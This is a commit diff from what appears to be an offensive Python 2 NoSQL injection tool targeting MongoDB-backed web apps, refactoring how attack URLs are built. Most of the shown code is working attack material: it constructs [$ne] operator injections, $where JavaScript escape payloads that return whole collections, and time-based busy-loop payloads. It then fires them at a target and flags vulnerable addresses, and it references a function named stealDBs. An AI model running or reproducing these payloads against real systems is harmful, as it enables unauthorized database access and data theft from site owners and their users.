@@ -43,7 +43,7 @@ def mainMenu():
43
43
print "3-NoSQL Web App attacks"
44
44
print "4-Exit"
45
45
46
- select = raw_input ("Select an option:" )
46
+ select = raw_input ("Select an option: " )
47
47
48
48
if select == "1" :
49
49
options ()
@@ -409,167 +409,167 @@ def webApps():
409
409
else :
410
410
print "HTTP response varied " + str (randNormDelta ) + " bytes with random parameter value!\n "
411
411
412
- print "Testing Mongo PHP not equals associative array injection using " + neqUri + "..."
413
- injLen = int (len (urllib .urlopen (neqUri ).read ()))
412
+ print "Testing Mongo PHP not equals associative array injection using " + uriArray [ 1 ] + "..."
413
+ injLen = int (len (urllib .urlopen (uriArray [ 1 ] ).read ()))
414
414
print "Got response length of " + str (injLen ) + "."
415
415
416
416
randInjDelta = abs (injLen - randLength )
417
417
418
418
if (randInjDelta >= 100 ) and (injLen != 0 ) :
419
419
print "Not equals injection response varied " + str (randInjDelta ) + " bytes from random parameter value! Injection works!"
420
- vulnAddrs .append (neqUri )
420
+ vulnAddrs .append (uriArray [ 1 ] )
421
421
422
422
elif (randInjDelta > 0 ) and (randInjDelta < 100 ) and (injLen != 0 ) :
423
423
print "Response variance was only " + str (randInjDelta ) + " bytes. Injection might have worked but difference is too small to be certain. "
424
- possAddrs .append (neqUri )
424
+ possAddrs .append (uriArray [ 1 ] )
425
425
426
426
elif (randInjDelta == 0 ):
427
427
print "Random string response size and not equals injection were the same. Injection did not work."
428
428
else :
429
429
print "Injected response was smaller than random response. Injection may have worked but requires verification."
430
- possAddrs .append (neqUri )
430
+ possAddrs .append (uriArray [ 1 ] )
431
431
432
432
print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n "
433
- print "Injecting " + whereStrUri
433
+ print "Injecting " + uriArray [ 2 ]
434
434
435
- whereStrLen = int (len (urllib .urlopen (whereStrUri ).read ()))
435
+ whereStrLen = int (len (urllib .urlopen (uriArray [ 2 ] ).read ()))
436
436
whereStrDelta = abs (whereStrLen - randLength )
437
437
438
438
if (whereStrDelta >= 100 ) and (whereStrLen > 0 ):
439
439
print "Java $where escape varied " + str (whereStrDelta ) + " bytes from random parameter value! Where injection works!"
440
- vulnAddrs .append (whereStrUri )
440
+ vulnAddrs .append (uriArray [ 2 ] )
441
441
442
442
elif (whereStrDelta > 0 ) and (whereStrDelta < 100 ) and (whereStrLen - randLength > 0 ):
443
443
print " response variance was only " + str (whereStrDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
444
- possAddrs .append (whereStrUri )
444
+ possAddrs .append (uriArray [ 2 ] )
445
445
446
446
elif (whereStrDelta == 0 ):
447
447
print "Random string response size and $where injection were the same. Injection did not work."
448
448
449
449
else :
450
450
print "Injected response was smaller than random response. Injection may have worked but requires verification."
451
- possAddrs .append (whereStrUri )
451
+ possAddrs .append (uriArray [ 2 ] )
452
452
453
453
print "\n "
454
454
print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n "
455
- print "Injecting " + whereIntUri
455
+ print "Injecting " + uriArray [ 3 ]
456
456
457
- whereIntLen = int (len (urllib .urlopen (whereIntUri ).read ()))
457
+ whereIntLen = int (len (urllib .urlopen (uriArray [ 3 ] ).read ()))
458
458
whereIntDelta = abs (whereIntLen - randLength )
459
459
460
460
if (whereIntDelta >= 100 ) and (whereIntLen - randLength > 0 ):
461
461
print "Java $where escape varied " + str (whereIntDelta ) + " bytes from random parameter! Where injection works!"
462
- vulnAddrs .append (whereIntUri )
462
+ vulnAddrs .append (uriArray [ 3 ] )
463
463
464
464
elif (whereIntDelta > 0 ) and (whereIntDelta < 100 ) and (whereIntLen - randLength > 0 ):
465
465
print " response variance was only " + str (whereIntDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
466
- possAddrs .append (whereIntUri )
466
+ possAddrs .append (uriArray [ 3 ] )
467
467
468
468
elif (whereIntDelta == 0 ):
469
469
print "Random string response size and $where injection were the same. Injection did not work."
470
470
471
471
else :
472
472
print "Injected response was smaller than random response. Injection may have worked but requires verification."
473
- possAddrs .append (whereIntUri )
473
+ possAddrs .append (uriArray [ 3 ] )
474
474
475
475
#Start a single record attack in case the app expects only one record back
476
476
477
477
print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n "
478
- print " Injecting " + whereOneStr
478
+ print " Injecting " + uriArray [ 4 ]
479
479
480
480
481
- whereOneStrLen = int (len (urllib .urlopen (whereOneStr ).read ()))
481
+ whereOneStrLen = int (len (urllib .urlopen (uriArray [ 4 ] ).read ()))
482
482
whereOneStrDelta = abs (whereOneStrLen - randLength )
483
483
484
484
if (whereOneStrDelta >= 100 ) and (whereOneStrLen - randLength > 0 ):
485
485
print "Java $where escape varied " + str (whereOneStrDelta ) + " bytes from random parameter value! Where injection works!"
486
- vulnAddrs .append (whereOneStr )
486
+ vulnAddrs .append (uriArray [ 4 ] )
487
487
488
488
elif (whereOneStrDelta > 0 ) and (whereOneStrDelta < 100 ) and (whereOneStrLen - randLength > 0 ):
489
489
print " response variance was only " + str (whereOneStrDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
490
- possAddrs .append (whereOneStr )
490
+ possAddrs .append (uriArray [ 4 ] )
491
491
492
492
elif (whereOneStrDelta == 0 ):
493
493
print "Random string response size and $where single injection were the same. Injection did not work."
494
494
495
495
else :
496
496
print "Injected response was smaller than random response. Injection may have worked but requires verification."
497
- possAddrs .append (whereOneStr )
497
+ possAddrs .append (uriArray [ 4 ] )
498
498
499
499
print "\n "
500
500
print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n "
501
- print " Injecting " + whereOneInt
501
+ print " Injecting " + uriArray [ 5 ]
502
502
503
503
504
- whereOneIntLen = int (len (urllib .urlopen (whereOneInt ).read ()))
504
+ whereOneIntLen = int (len (urllib .urlopen (uriArray [ 5 ] ).read ()))
505
505
whereOneIntDelta = abs (whereOneIntLen - randLength )
506
506
507
507
if (whereOneIntDelta >= 100 ) and (whereOneIntLen - randLength > 0 ):
508
508
print "Java $where escape varied " + str (whereOneIntDelta ) + " bytes from random parameter! Where injection works!"
509
- vulnAddrs .append (whereOneInt )
509
+ vulnAddrs .append (uriArray [ 5 ] )
510
510
511
511
elif (whereOneIntDelta > 0 ) and (whereOneIntDelta < 100 ) and (whereOneIntLen - randLength > 0 ):
512
512
print " response variance was only " + str (whereOneIntDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
513
- possAddrs .append (whereOneInt )
513
+ possAddrs .append (uriArray [ 5 ] )
514
514
515
515
elif (whereOneIntDelta == 0 ):
516
516
print "Random string response size and $where single record injection were the same. Injection did not work."
517
517
518
518
else :
519
519
print "Injected response was smaller than random response. Injection may have worked but requires verification."
520
- possAddrs .append (whereOneInt )
520
+ possAddrs .append (uriArray [ 5 ] )
521
521
522
522
print "\n "
523
523
print "Testing Mongo this not equals string escape attack for all records..."
524
- print " Injecting " + strThisNeqUri
524
+ print " Injecting " + uriArray [ 8 ]
525
525
526
- whereThisStrLen = int (len (urllib .urlopen (strThisNeqUri ).read ()))
526
+ whereThisStrLen = int (len (urllib .urlopen (uriArray [ 8 ] ).read ()))
527
527
whereThisStrDelta = abs (whereThisStrLen - randLength )
528
528
529
529
if (whereThisStrDelta >= 100 ) and (whereThisStrLen - randLength > 0 ):
530
530
print "Java this not equals varied " + str (whereThisStrDelta ) + " bytes from random parameter! Where injection works!"
531
- vulnAddrs .append (strThisNeqUri )
531
+ vulnAddrs .append (uriArray [ 8 ] )
532
532
533
533
elif (whereThisStrDelta > 0 ) and (whereThisStrDelta < 100 ) and (whereThisStrLen - randLength > 0 ):
534
534
print " response variance was only " + str (whereThisStrDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
535
- possAddrs .append (strThisNeqUri )
535
+ possAddrs .append (uriArray [ 8 ] )
536
536
537
537
elif (whereThisStrDelta == 0 ):
538
538
print "Random string response size and this return response size were the same. Injection did not work."
539
539
540
540
else :
541
541
print "Injected response was smaller than random response. Injection may have worked but requires verification."
542
- possAddrs .append (strThisNeqUri )
542
+ possAddrs .append (uriArray [ 8 ] )
543
543
544
544
print "\n "
545
545
print "Testing Mongo this not equals integer escape attack for all records..."
546
- print " Injecting " + intThisNeqUri
546
+ print " Injecting " + uriArray [ 9 ]
547
547
548
- whereThisIntLen = int (len (urllib .urlopen (intThisNeqUri ).read ()))
548
+ whereThisIntLen = int (len (urllib .urlopen (uriArray [ 9 ] ).read ()))
549
549
whereThisIntDelta = abs (whereThisIntLen - randLength )
550
550
551
551
if (whereThisIntDelta >= 100 ) and (whereThisIntLen - randLength > 0 ):
552
552
print "Java this not equals varied " + str (whereThisStrDelta ) + " bytes from random parameter! Where injection works!"
553
- vulnAddrs .append (intThisNeqUri )
553
+ vulnAddrs .append (uriArray [ 9 ] )
554
554
555
555
elif (whereThisIntDelta > 0 ) and (whereThisIntDelta < 100 ) and (whereThisIntLen - randLength > 0 ):
556
556
print " response variance was only " + str (whereThisIntDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
557
- possAddrs .append (intThisNeqUri )
557
+ possAddrs .append (uriArray [ 9 ] )
558
558
559
559
elif (whereThisIntDelta == 0 ):
560
560
print "Random string response size and this return response size were the same. Injection did not work."
561
561
562
562
else :
563
563
print "Injected response was smaller than random response. Injection may have worked but requires verification."
564
- possAddrs .append (intThisNeqUri )
564
+ possAddrs .append (uriArray [ 9 ] )
565
565
566
566
print "\n "
567
567
doTimeAttack = raw_input ("Start timing based tests? " )
568
568
569
569
if doTimeAttack == "y" or doTimeAttack == "Y" :
570
570
print "Starting Javascript string escape time based injection..."
571
571
start = time .time ()
572
- strTimeInj = urllib .urlopen (timeStrUri )
572
+ strTimeInj = urllib .urlopen (uriArray [ 6 ] )
573
573
page = strTimeInj .read ()
574
574
end = time .time ()
575
575
strTimeInj .close ()
@@ -587,7 +587,7 @@ def webApps():
587
587
588
588
print "Starting Javascript integer escape time based injection..."
589
589
start = time .time ()
590
- intTimeInj = urllib .urlopen (timeIntUri )
590
+ intTimeInj = urllib .urlopen (uriArray [ 7 ] )
591
591
page = intTimeInj .read ()
592
592
end = time .time ()
593
593
intTimeInj .close ()
@@ -678,15 +678,8 @@ def randInjString(size):
678
678
def buildUri (origUri , randValue ):
679
679
paramName = []
680
680
paramValue = []
681
- global neqUri
682
- global whereStrUri
683
- global whereIntUri
684
- global whereOneStr
685
- global whereOneInt
686
- global timeStrUri
687
- global timeIntUri
688
- global strThisNeqUri
689
- global intThisNeqUri
681
+ global uriArray
682
+ uriArray = ["" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ]
690
683
injOpt = ""
691
684
692
685
#Split the string between the path and parameters, and then split each parameter
@@ -713,58 +706,63 @@ def buildUri(origUri, randValue):
713
706
except :
714
707
raw_input ("Something went wrong. Press enter to return to the main menu..." )
715
708
mainMenu ()
716
-
717
- evilUri = split_uri [0 ] + "?"
718
- neqUri = split_uri [0 ] + "?"
719
- whereStrUri = split_uri [0 ] + "?"
720
- whereIntUri = split_uri [0 ] + "?"
721
- whereOneStr = split_uri [0 ] + "?"
722
- whereOneInt = split_uri [0 ] + "?"
723
- timeStrUri = split_uri [0 ] + "?"
724
- timeIntUri = split_uri [0 ] + "?"
725
- strThisNeqUri = split_uri [0 ] + "?"
726
- intThisNeqUri = split_uri [0 ] + "?"
709
+
710
+ print "debug:"
711
+ print split_uri [0 ]
712
+
727
713
x = 0
714
+ uriArray [0 ] = split_uri [0 ] + "?"
715
+ uriArray [1 ] = split_uri [0 ] + "?"
716
+ uriArray [2 ] = split_uri [0 ] + "?"
717
+ uriArray [3 ] = split_uri [0 ] + "?"
718
+ uriArray [4 ] = split_uri [0 ] + "?"
719
+ uriArray [5 ] = split_uri [0 ] + "?"
720
+ uriArray [6 ] = split_uri [0 ] + "?"
721
+ uriArray [7 ] = split_uri [0 ] + "?"
722
+ uriArray [8 ] = split_uri [0 ] + "?"
723
+ uriArray [9 ] = split_uri [0 ] + "?"
724
+
725
+
728
726
729
727
for item in paramName :
730
728
if paramName [x ] == injOpt :
731
- evilUri += paramName [x ] + "=" + randValue + "&"
732
- neqUri += paramName [x ] + "[$ne]=" + randValue + "&"
733
- whereStrUri += paramName [x ] + "=a'; return db.a.find(); var dummy='!" + "&"
734
- whereIntUri += paramName [x ] + "=1; return db.a.find(); var dummy=1" + "&"
735
- whereOneStr += paramName [x ] + "=a'; return db.a.findOne(); var dummy='!" + "&"
736
- whereOneInt += paramName [x ] + "=a; return db.a.findOne(); var dummy=1" + "&"
737
- timeStrUri += paramName [x ] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
738
- timeIntUri += paramName [x ] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
739
- strThisNeqUri += paramName [x ] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
740
- intThisNeqUri += paramName [x ] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
729
+ uriArray [ 0 ] += paramName [x ] + "=" + randValue + "&"
730
+ uriArray [ 1 ] += paramName [x ] + "[$ne]=" + randValue + "&"
731
+ uriArray [ 2 ] += paramName [x ] + "=a'; return db.a.find(); var dummy='!" + "&"
732
+ uriArray [ 3 ] += paramName [x ] + "=1; return db.a.find(); var dummy=1" + "&"
733
+ uriArray [ 4 ] += paramName [x ] + "=a'; return db.a.findOne(); var dummy='!" + "&"
734
+ uriArray [ 5 ] += paramName [x ] + "=a; return db.a.findOne(); var dummy=1" + "&"
735
+ uriArray [ 6 ] += paramName [x ] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
736
+ uriArray [ 7 ] += paramName [x ] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
737
+ uriArray [ 8 ] += paramName [x ] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
738
+ uriArray [ 9 ] += paramName [x ] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
741
739
742
740
else :
743
- evilUri += paramName [x ] + "=" + paramValue [x ] + "&"
744
- neqUri += paramName [x ] + "=" + paramValue [x ] + "&"
745
- whereStrUri += paramName [x ] + "=" + paramValue [x ] + "&"
746
- whereIntUri += paramName [x ] + "=" + paramValue [x ] + "&"
747
- whereOneStr += paramName [x ] + "=" + paramValue [x ] + "&"
748
- whereOneInt += paramName [x ] + "=" + paramValue [x ] + "&"
749
- timeStrUri += paramName [x ] + "=" + paramValue [x ] + "&"
750
- timeIntUri += paramName [x ] + "=" + paramValue [x ] + "&"
751
- strThisNeqUri += paramName [x ] + "=" + paramValue [x ] + "&"
752
- intThisNeqUri += paramName [x ] + "=" + paramValue [x ] + "&"
741
+ uriArray [ 0 ] += paramName [x ] + "=" + paramValue [x ] + "&"
742
+ uriArray [ 1 ] += paramName [x ] + "=" + paramValue [x ] + "&"
743
+ uriArray [ 2 ] += paramName [x ] + "=" + paramValue [x ] + "&"
744
+ uriArray [ 3 ] += paramName [x ] + "=" + paramValue [x ] + "&"
745
+ uriArray [ 4 ] += paramName [x ] + "=" + paramValue [x ] + "&"
746
+ uriArray [ 5 ] += paramName [x ] + "=" + paramValue [x ] + "&"
747
+ uriArray [ 6 ] += paramName [x ] + "=" + paramValue [x ] + "&"
748
+ uriArray [ 7 ] += paramName [x ] + "=" + paramValue [x ] + "&"
749
+ uriArray [ 8 ] += paramName [x ] + "=" + paramValue [x ] + "&"
750
+ uriArray [ 9 ] += paramName [x ] + "=" + paramValue [x ] + "&"
753
751
x += 1
754
752
755
753
#Clip the extra & off the end of the URL
756
- evilUri = evilUri [:- 1 ]
757
- neqUri = neqUri [:- 1 ]
758
- whereStrUri = whereStrUri [:- 1 ]
759
- whereIntUri = whereIntUri [:- 1 ]
760
- whereOneStr = whereOneStr [:- 1 ]
761
- whereOneInt = whereOneInt [:- 1 ]
762
- strThisNeqUri = strThisNeqUri [:- 1 ]
763
- intThisNeqUri = intThisNeqUri [:- 1 ]
764
- timeStrUri = timeStrUri [:- 1 ]
765
- timeIntUri = timeIntUri [:- 1 ]
766
-
767
- return evilUri
754
+ uriArray [ 0 ] = uriArray [ 0 ] [:- 1 ]
755
+ uriArray [ 1 ] = uriArray [ 1 ] [:- 1 ]
756
+ uriArray [ 2 ] = uriArray [ 2 ] [:- 1 ]
757
+ uriArray [ 3 ] = uriArray [ 3 ] [:- 1 ]
758
+ uriArray [ 4 ] = uriArray [ 4 ] [:- 1 ]
759
+ uriArray [ 5 ] = uriArray [ 5 ] [:- 1 ]
760
+ uriArray [ 6 ] = uriArray [ 6 ] [:- 1 ]
761
+ uriArray [ 7 ] = uriArray [ 7 ] [:- 1 ]
762
+ uriArray [ 8 ] = uriArray [ 8 ] [:- 1 ]
763
+ uriArray [ 9 ] = uriArray [ 9 ] [:- 1 ]
764
+
765
+ return uriArray [ 0 ]
768
766
769
767
def stealDBs (myDB ):
770
768
menuItem = 1
0 commit comments